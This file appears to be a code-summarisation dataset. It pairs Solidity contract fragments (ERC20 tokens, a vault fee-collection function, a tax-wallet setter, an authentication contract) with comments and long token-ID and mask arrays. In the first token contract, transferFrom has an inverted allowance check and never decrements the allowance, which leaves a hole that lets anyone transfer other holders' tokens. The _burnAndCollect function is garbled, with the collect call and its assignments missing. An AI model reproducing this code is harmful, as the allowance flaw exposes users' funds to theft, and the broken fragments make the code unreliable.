totalSupply = 100000000000000000000000000000;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(balanceOf[msg.sender] >= tokens);
require(balanceOf[to] + tokens >= balanceOf[to]);
balanceOf[msg.sender] -= tokens;
balanceOf[to] += tokens;
emit Transfer(msg.sender, to, tokens);
success = true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(to != address(0) && from != address(0));
require(balanceOf[from] >= tokens);
require(allowed[from][msg.sender] <= tokens);
require(balanceOf[to] + tokens >= balanceOf[to]);
balanceOf[from] -= tokens;
balanceOf[to] += tokens;
emit Transfer(from, to, tokens);
success = true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
success = true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
}
| 9,914,818 |
[
1,
166,
111,
257,
168,
241,
113,
654,
39,
17,
3462,
167,
259,
234,
166,
234,
233,
167,
241,
103,
166,
242,
101,
225,
166,
260,
251,
166,
229,
106,
167,
112,
242,
165,
121,
108,
166,
255,
113,
166,
256,
227,
168,
253,
231,
165,
126,
252,
170,
100,
256,
176,
125,
235,
166,
254,
259,
165,
121,
123,
167,
251,
112,
482,
168,
253,
231,
167,
236,
227,
165,
124,
103,
165,
125,
253,
169,
234,
108,
166,
237,
106,
168,
247,
258,
167,
235,
243,
12296,
951,
167,
249,
122,
167,
116,
248,
176,
125,
236,
225,
166,
260,
251,
166,
229,
106,
167,
112,
242,
165,
121,
108,
166,
255,
113,
166,
256,
227,
166,
242,
112,
167,
246,
240,
165,
126,
255,
168,
253,
231,
166,
255,
113,
166,
256,
227,
166,
242,
237,
166,
232,
119,
166,
242,
112,
167,
246,
240,
165,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
4232,
39,
3462,
2828,
353,
4232,
39,
3462,
1358,
288,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
1071,
11013,
951,
31,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
2935,
31,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
508,
273,
315,
424,
27055,
14432,
203,
3639,
3273,
273,
315,
2294,
38,
14432,
7010,
3639,
15105,
273,
6549,
31,
203,
3639,
2078,
3088,
1283,
273,
2130,
12648,
12648,
12648,
3784,
31,
203,
3639,
11013,
951,
63,
3576,
18,
15330,
65,
273,
2078,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
12,
2867,
358,
16,
2254,
2430,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
12296,
951,
63,
3576,
18,
15330,
65,
1545,
2430,
1769,
203,
3639,
2583,
12,
12296,
951,
63,
869,
65,
397,
2430,
1545,
11013,
951,
63,
869,
19226,
203,
203,
3639,
11013,
951,
63,
3576,
18,
15330,
65,
3947,
2430,
31,
203,
3639,
11013,
951,
63,
869,
65,
1011,
2430,
31,
203,
203,
3639,
3626,
12279,
12,
3576,
18,
15330,
16,
358,
16,
2430,
1769,
203,
6862,
203,
9506,
202,
4768,
273,
638,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
1265,
12,
2867,
628,
16,
1758,
358,
16,
2254,
2430,
13,
1071,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
13,
597,
628,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
12296,
951,
63,
2
] |
./full_match/1/0x5B7B8b487D05F77977b7ABEec5F922925B9b2aFa/sources/contracts/AlphaProVault.sol
|
@dev Withdraws liquidity from a range and collects all fees in the process.
|
function _burnAndCollect(
int24 tickLower,
int24 tickUpper,
uint128 liquidity
)
internal
returns (uint256 burned0, uint256 burned1, uint256 feesToVault0, uint256 feesToVault1)
{
if (liquidity > 0) {
(burned0, burned1) = pool.burn(tickLower, tickUpper, liquidity);
}
address(this),
tickLower,
tickUpper,
type(uint128).max,
type(uint128).max
);
feesToVault0 = collect0.sub(burned0);
feesToVault1 = collect1.sub(burned1);
uint256 feesToProtocol0 = feesToVault0.mul(_protocolFee).div(1e6);
uint256 feesToProtocol1 = feesToVault1.mul(_protocolFee).div(1e6);
accruedProtocolFees0 = accruedProtocolFees0.add(feesToProtocol0);
accruedProtocolFees1 = accruedProtocolFees1.add(feesToProtocol1);
uint256 feesToManager0;
uint256 feesToManager1;
if (_managerFee > 0) {
feesToManager0 = feesToVault0.mul(_managerFee).div(1e6);
feesToManager1 = feesToVault1.mul(_managerFee).div(1e6);
accruedManagerFees0 = accruedManagerFees0.add(feesToManager0);
accruedManagerFees1 = accruedManagerFees1.add(feesToManager1);
}
feesToVault0 = feesToVault0.sub(feesToProtocol0).sub(feesToManager0);
feesToVault1 = feesToVault1.sub(feesToProtocol1).sub(feesToManager1);
emit CollectFees(
feesToVault0,
feesToVault1,
feesToProtocol0,
feesToProtocol1,
feesToManager0,
feesToManager1
);
}
| 16,419,073 |
[
1,
1190,
9446,
87,
4501,
372,
24237,
628,
279,
1048,
471,
30976,
777,
1656,
281,
316,
326,
1207,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
70,
321,
1876,
10808,
12,
203,
3639,
509,
3247,
4024,
4070,
16,
203,
3639,
509,
3247,
4024,
5988,
16,
203,
3639,
2254,
10392,
4501,
372,
24237,
203,
565,
262,
203,
3639,
2713,
203,
3639,
1135,
261,
11890,
5034,
18305,
329,
20,
16,
2254,
5034,
18305,
329,
21,
16,
2254,
5034,
1656,
281,
774,
12003,
20,
16,
2254,
5034,
1656,
281,
774,
12003,
21,
13,
203,
565,
288,
203,
3639,
309,
261,
549,
372,
24237,
405,
374,
13,
288,
203,
5411,
261,
70,
321,
329,
20,
16,
18305,
329,
21,
13,
273,
2845,
18,
70,
321,
12,
6470,
4070,
16,
4024,
5988,
16,
4501,
372,
24237,
1769,
203,
3639,
289,
203,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
4024,
4070,
16,
203,
5411,
4024,
5988,
16,
203,
5411,
618,
12,
11890,
10392,
2934,
1896,
16,
203,
5411,
618,
12,
11890,
10392,
2934,
1896,
203,
3639,
11272,
203,
203,
3639,
1656,
281,
774,
12003,
20,
273,
3274,
20,
18,
1717,
12,
70,
321,
329,
20,
1769,
203,
3639,
1656,
281,
774,
12003,
21,
273,
3274,
21,
18,
1717,
12,
70,
321,
329,
21,
1769,
203,
203,
3639,
2254,
5034,
1656,
281,
774,
5752,
20,
273,
1656,
281,
774,
12003,
20,
18,
16411,
24899,
8373,
14667,
2934,
2892,
12,
21,
73,
26,
1769,
203,
3639,
2254,
5034,
1656,
281,
774,
5752,
21,
273,
1656,
281,
774,
12003,
21,
18,
16411,
24899,
8373,
14667,
2934,
2892,
12,
21,
73,
26,
1769,
203,
3639,
4078,
86,
5957,
5752,
2954,
281,
20,
273,
4078,
86,
5957,
2
] |
./full_match/3/0xAb3D4B846514d957Fd99c5615203cb47b2F4670f/sources/AAVE/ERC20.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 8,221,959 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
203,
565,
533,
2713,
389,
529,
31,
203,
565,
533,
2713,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
203,
565,
3885,
261,
1080,
3778,
508,
16,
533,
3778,
3273,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2
] |
./partial_match/1/0x35138b508398b8a7733E4e3D8BF29CEeDA8a2024/sources/PouchTool.sol
|
replace this with your wallet
|
setTaxWallets(0x4443F943a8530dDb89917028aAAa5800E2F80f17);
| 4,202,329 |
[
1,
2079,
333,
598,
3433,
9230,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
444,
7731,
26558,
2413,
12,
20,
92,
6334,
8942,
42,
29,
8942,
69,
7140,
5082,
72,
4331,
28,
2733,
4033,
3103,
28,
69,
5284,
69,
8204,
713,
41,
22,
42,
3672,
74,
4033,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x5Af8Fce092dc00FdC11D54f0Dae050802C6Be794/sources/Users/famousbirthdays/Sites/mb-contracts/contracts/Vault.sol
|
manage which contracts/addresses can give shares to allow other contracts to interact
|
function setCanGive(address _addr, bool _canGive) public onlyOwner {
canGive[_addr] = _canGive;
}
| 9,443,445 |
[
1,
12633,
1492,
20092,
19,
13277,
848,
8492,
24123,
358,
1699,
1308,
20092,
358,
16592,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
2568,
43,
688,
12,
2867,
389,
4793,
16,
1426,
389,
4169,
43,
688,
13,
1071,
1338,
5541,
288,
203,
3639,
848,
43,
688,
63,
67,
4793,
65,
273,
389,
4169,
43,
688,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x8a3515f5D127342fcBba56E13514D4A2391327e6/sources/contracts/protocol/libraries/configuration/ReserveConfiguration.sol
|
* @notice Gets the Loan to Value of the reserve @param self The reserve configuration @return The loan to value/
|
function getLtv(DataTypes.ReserveConfigurationMap memory self)
internal
pure
returns (uint256)
{
return self.data & ~LTV_MASK;
}
| 4,312,144 |
[
1,
3002,
326,
3176,
304,
358,
1445,
434,
326,
20501,
225,
365,
1021,
20501,
1664,
327,
1021,
28183,
358,
460,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
9014,
24161,
12,
751,
2016,
18,
607,
6527,
1750,
863,
3778,
365,
13,
203,
3639,
2713,
203,
3639,
16618,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
365,
18,
892,
473,
4871,
12050,
58,
67,
11704,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "./zeppelin/ownership/Ownable.sol";
import "./zeppelin/lifecycle/Killable.sol";
import "./ReentryProtector.sol";
import "./zeppelin/SafeMath.sol";
import "./Ecommerce.sol";
/** @title Authentication contract */
contract Authentication is Ownable, Killable, ReentryProtector {
using SafeMath for uint256;
Ecommerce ecommerce;
constructor(address ecommerceAddress) public payable {
ecommerce = Ecommerce(ecommerceAddress);
}
// ===================================================
// Fallback
// ===================================================
// this contract will accept any deposit from any person/contract as a donnation when user is creating a store
// the balance will be added to the EcommerceFactory balance
function () public payable {
emit LogDonnationReceived(owner, msg.value);
}
